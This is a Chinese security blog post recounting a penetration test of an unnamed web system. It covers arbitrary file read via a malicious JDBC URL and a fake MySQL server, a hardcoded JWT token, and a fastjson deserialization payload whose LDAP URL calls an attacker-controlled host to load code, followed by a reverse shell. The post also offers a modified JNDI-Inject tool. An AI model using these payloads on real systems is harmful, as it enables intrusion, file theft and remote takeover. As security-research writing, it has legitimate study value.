前往小程序,Get更优阅读体验!
立即前往
发布
社区首页 >专栏 >攻防实战篇-某系统渗透记录

攻防实战篇-某系统渗透记录

作者头像
OneTS安全团队
发布2025-02-07 16:44:47
发布2025-02-07 16:44:47
9700
代码可运行
举报
文章被收录于专栏:OneTS安全团队OneTS安全团队
运行总次数:0
代码可运行

声明

本文属于OneTS安全团队成员v4por的原创文章,转载请声明出处!本文章仅用于学习交流使用,因利用此文信息而造成的任何直接或间接的后果及损失,均由使用者本人负责,OneTS安全团队及文章作者不为此承担任何责任。

某系统渗透记录

☑渗透测试

(1)测试过程

事情起因为:

大哥发话了,那肯定得满足大哥的要求,直接登入系统:

(站被关了,之前没截图,大概这个意思)往菜单栏一看,有个数据库管理,打开后是个 JDBC 配置的功能,大哥说这个能读文件,但是有 bug,jar包源码读不完整,总是缺字节:

到底是什么 bug,让我来一试。VPS 上启动 mysql-fake:

首先读一手 /proc/self/cmdline,通过这个文件可以看到当前进程的命令行:

读出来的路径是:/opt/******ver/*********_***-1.1.1.jar。尝试读取 jar 包,成功读取。

JDBC 反序列化除了文件读取外,还可以通过反序列化来执行系统命令从而 RCE,但是测试了 mysql-fake 中的所有链后,除了 URLDNS 之外没有什么能用的。

(2)问题总结

在上述的测试中存在一个问题,在进行漏洞利用时,JDBC 连接的传参为:

代码语言:javascript
代码运行次数:0
复制
/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=&maxAllowedPacket=65536&username=fileread_/opt/*********/*********_***-1.1.1.jar&password=1234

这里的连接参数没有设置连接时间,导致文件还未读取完毕时出现通讯中断的问题,因此在读取大文件时最好增加如下参数:

代码语言:javascript
代码运行次数:0
复制
connectTimeout=60000&socketTimeout=60000

也正是这个原因导致大哥文件读取失败。。。

☑源码审计

大哥的诉求除了上述那个 jar 包读取的问题外,还想要一个未授权 RCE,这个只能对源码做下审计了(原项目存在 shiro,但是没有 key)。

用小茶壶打开 jar,经过一番查找到,发现源码在如下两个包中:

json 那个包很明显是为了处理 json 字符串,这种功能很容易出反序列化。而我们优先任务是分析权限相关的东西,因此先看 core 包。

(1)core

分析 core 包的项目结构后,很快便找到了 shiro 的配置文件,如下 anon 标注的未授权接口进行审计和测试后,没有任何的收获,纯浪费感情。

继续对 shiro 相关的类进行审计,尝试寻找修改后的 key、默认的 token 等,功夫不负有心人,发现了代码中硬编码的 JWT Token:

当下立刻兴冲冲的拿去验证:

🤡

然后我不信邪的分析了它的 Token 校验逻辑,随后按照它的逻辑使用默认的那个 Token 进行了 JWT 的生成:

我只能说:🤡

虽然 jwt.io 校验不通过,但是实际上用生成的 Token 是可以访问系统的。

当下立马将此事报告给大哥,大哥拿着默认 token 生成的 jwt 换了个站进行测试,居然登陆不上。。。。

🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡🤡

后来大哥说,虽然这个是硬编码的,但是可能供应商给每一家搞得都不一样,所以没什么用。

事已至此, 先睡觉吧。。。(根本睡不着,起来重审!)

(2)json

core 包内其实没什么好看的了,而 json 这个包倒非常的耐人寻味:

版本号是 1.1.25?敏感肌师傅可能会立马想到 fastjsonfastjson 的版本格式也是 x.x.xx,比如 1.2.24。

迟钝的师傅可能会问,这个版本格式很常见的好不好。我在后续翻阅项目结构时有了如下发现:

这是 fastjson1.2.24 没有引入 checkAutoType 方法前的漏洞点,所以可以 100%实锤这个玩意是 fastjson 改过来的。

既然如此打一下:

(忘记截图了凑合着看)确实存在反序列化漏洞。但是又有一个新的问题,项目中没有发现可以用的链。此时敏感肌师傅会说,那 JDBC 不是能用吗?太 TM 聪明了,直接打如下 POC

代码语言:javascript
代码运行次数:0
复制
{
  "@type":"com.sun.rowset.JdbcRowSetImpl", 
  "dataSourceName":"ldap://xxx.xx.xx.xxx:1389/Exploit", 
  "autoCommit":true
} 

JDBC 反序列化打的时候要起 JNDI 服务,大概逻辑如下:

就在我手搓这个过程时,另一位大哥发出了无情的嘲笑:这年头你还在这手搓?我:🤡。

随后便上了推荐的 JNDI-Inject 工具,这玩意是真的好使啊:

(⚠注意要把绑定的 IP 换成 VPS 的出网 IP)

这下直接RCE。但是漏洞是登录后的,仍然没什么用,大哥说弹个 shell 回来,翻翻还有啥配置文件。

结果就在弹 shell 的时候又翻车了:目标可以执行一些简短的命令,再执行反弹shell 这种复杂命令时没有反应。此时,敏感肌师傅肯定会说,那肯定是POC 有问题。

(3)JAVA 命令执行 tips

java 执行命令的方法有很多,但是常见的有如下两个:

代码语言:javascript
代码运行次数:0
复制
//方法1
Runtime.getRuntime().exec("calc");
//方法2
Runtime.getRuntime().exec("cmd.exe","/c","calc");

迟钝的师傅此时会问,这俩方法有啥区别,不就是参数不一样吗?其实不太是,exec 方法执行命令的原理是:

  1. 入参如果是字符串 ,则通过空格来切割命令;如果是数组,则会将第三个参数作为整体
  2. 从磁盘中寻找可执行文件的位置
  3. 执行该文件

也就是说,在执行反弹shell 这种包含管道、重定向等符号的命令时,必须要从 /bin/bash 开始,因此最好采用如下这种方式,避免空格的切割导致命令执行失败。

在知道了原理后,对 JNDI-Inject 进行简单的调整。原版在生成 evil class 时,是通过 ASM 生成一个通过方法 1 执行命令的 class

我们只需要修改 ASM,将生成的 class 换成执行方法 2 的逻辑即可:

不熟悉 java 的师傅不用担心,该版本已上传至 github,公众号后台回复jndi获取工具下载链接!!!

至此,反弹shell 成功,通过配置文件中的通用密钥构造jwtToken通用进入后台。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2024-12-27,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 OneTS安全团队 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档